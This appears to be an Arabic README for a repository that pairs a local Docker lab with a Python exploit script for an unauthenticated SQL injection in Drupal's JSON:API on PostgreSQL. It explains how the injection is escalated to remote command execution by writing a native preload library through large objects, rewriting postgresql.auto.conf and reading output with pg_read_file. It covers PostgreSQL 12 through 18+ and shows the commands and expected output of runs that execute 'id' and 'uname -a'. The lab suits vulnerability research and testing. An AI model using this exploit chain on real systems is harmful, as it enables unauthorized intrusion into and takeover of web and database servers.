
استغلال ثغرة في Drupal JSON:API PostgreSQL لحقن SQL إلى تنفيذ تعليمات برمجية عن بعد (RCE) عبر مكتبة التحميل المسبق الأصلية. يشمل معمل Docker محلي لاختبار مسارات التصعيد لـ PostgreSQL 12–18+.
يحتوي هذا المستودع على مختبر محلي واستغلال قصير لثغرة SQL injection في Drupal JSON:API PostgreSQL الموضحة في مقال Ambionics.
الجزء المهم من الاستغلال هو التصعيد في PostgreSQL: بمجرد أن يتمكن الحقن من تقييم تعبير SELECT كمستخدم فائق (superuser) في PostgreSQL، فإنه يقوم بكتابة مكتبة تحميل مسبق أصلي عبر الكائنات الكبيرة (large objects)، ويعيد تحميل postgresql.auto.conf، ويُفعّل session_preload_libraries، ويسترد مخرجات الأوامر باستخدام pg_read_file().
يقرأ الاستغلال version() أولاً ويبني كتلة السحر (magic block) لوحدة PostgreSQL للإصدار الرئيسي المكتشف. يتعامل مع تخطيطات ABI لوحدات PostgreSQL 12 و13-14 و15-17 و18+. يجب أن يظل المترجم المحلي يُنتج كائنًا مشتركًا (shared object) لمعمارية وحدة المعالجة المركزية نفسها التي يعمل عليها خادم PostgreSQL الهدف.
يستخدم المختبر PostgreSQL 18.4، أحدث إصدار من PostgreSQL وقت كتابة هذا الشرح. تم اختبار مسار تصعيد PostgreSQL من PostgreSQL 12.20 حتى PostgreSQL 18.4.
.
├── docker-compose.yml
├── drupal/
│ ├── Dockerfile
│ ├── entrypoint.sh
│ └── seed-content.php
├── drupal-postgres-preload-rce.py
├── requirements.txt
└── README.md
يستخدم المختبر:
Drupal 10.4.9
PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1)
PHP 8.3 / Apache
Drupal متصل بـ PostgreSQL كمستخدم postgres فائق (superuser) بحيث يمكن تصعيد حقن SQL الذي يقرأ فقط (SELECT-only) إلى RCE.
docker compose version
python3 --version
cc --version
مثال على المخرجات:
Docker Compose version v2.37.3
Python 3.12.3
cc (Ubuntu 13.3.0-6ubuntu2~24.04.1) 13.3.0
بناء وتشغيل الحاويات:
docker compose build --quiet
docker compose up -d
المخرجات المتوقعة:
Container cve9082-pg18 Started
Container cve9082-drupal Started
انتظر حتى يصبح Drupal سليمًا:
docker compose ps
المخرجات المتوقعة:
NAME SERVICE STATUS
cve9082-pg18 db Up ... (healthy)
cve9082-drupal drupal Up ... (healthy)
يستمع المختبر على:
http://127.0.0.1:8089
تحقق من إصدار PostgreSQL:
docker exec cve9082-pg18 psql -U postgres -d drupal -tAc 'select version()'
المخرجات المتوقعة:
PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit
تحقق من أن JSON:API يعرض المقالة المُعدّة:
curl -fsS http://127.0.0.1:8089/jsonapi/node/article | python3 -m json.tool | sed -n '1,20p'
المخرجات المتوقعة:
{
"jsonapi": {
"version": "1.0"
},
"data": [
{
"type": "node--article"
}
]
}
python3 -m venv .venv
. .venv/bin/activate
pip install -r requirements.txt
المخرجات المتوقعة:
Successfully installed requests-...
تنفيذ الأمر id عبر حقن SQL غير المصادق عليه في JSON:API:
python3 drupal-postgres-preload-rce.py http://127.0.0.1:8089 id
المخرجات المتوقعة:
[+] checking SQL injection context
version: PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit
current_user: postgres superuser=True
data_directory: /var/lib/postgresql/18/docker
module_abi: PostgreSQL 18 magic=1800 layout=pg18
[+] built PostgreSQL 18 preload module (14080 bytes)
[+] writing preload library to /var/lib/postgresql/18/docker/cve9082_preload.so
1400/14080 bytes
...
14080/14080 bytes
[+] rewriting /var/lib/postgresql/18/docker/postgresql.auto.conf
189/189 bytes
[+] reloading PostgreSQL configuration
[+] triggering a fresh backend
[+] reading command output
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)
__exit=0
[+] restoring/clearing PostgreSQL preload settings
152/152 bytes
تشغيل أمر آخر:
python3 drupal-postgres-preload-rce.py http://127.0.0.1:8089 'uname -a'
المخرجات المتوقعة:
[+] reading command output
Linux ... x86_64 GNU/Linux
__exit=0
إيقاف الحاويات مع الاحتفاظ بحجم قاعدة البيانات:
docker compose down
إيقاف الحاويات وحذف حجم قاعدة البيانات:
docker compose down -v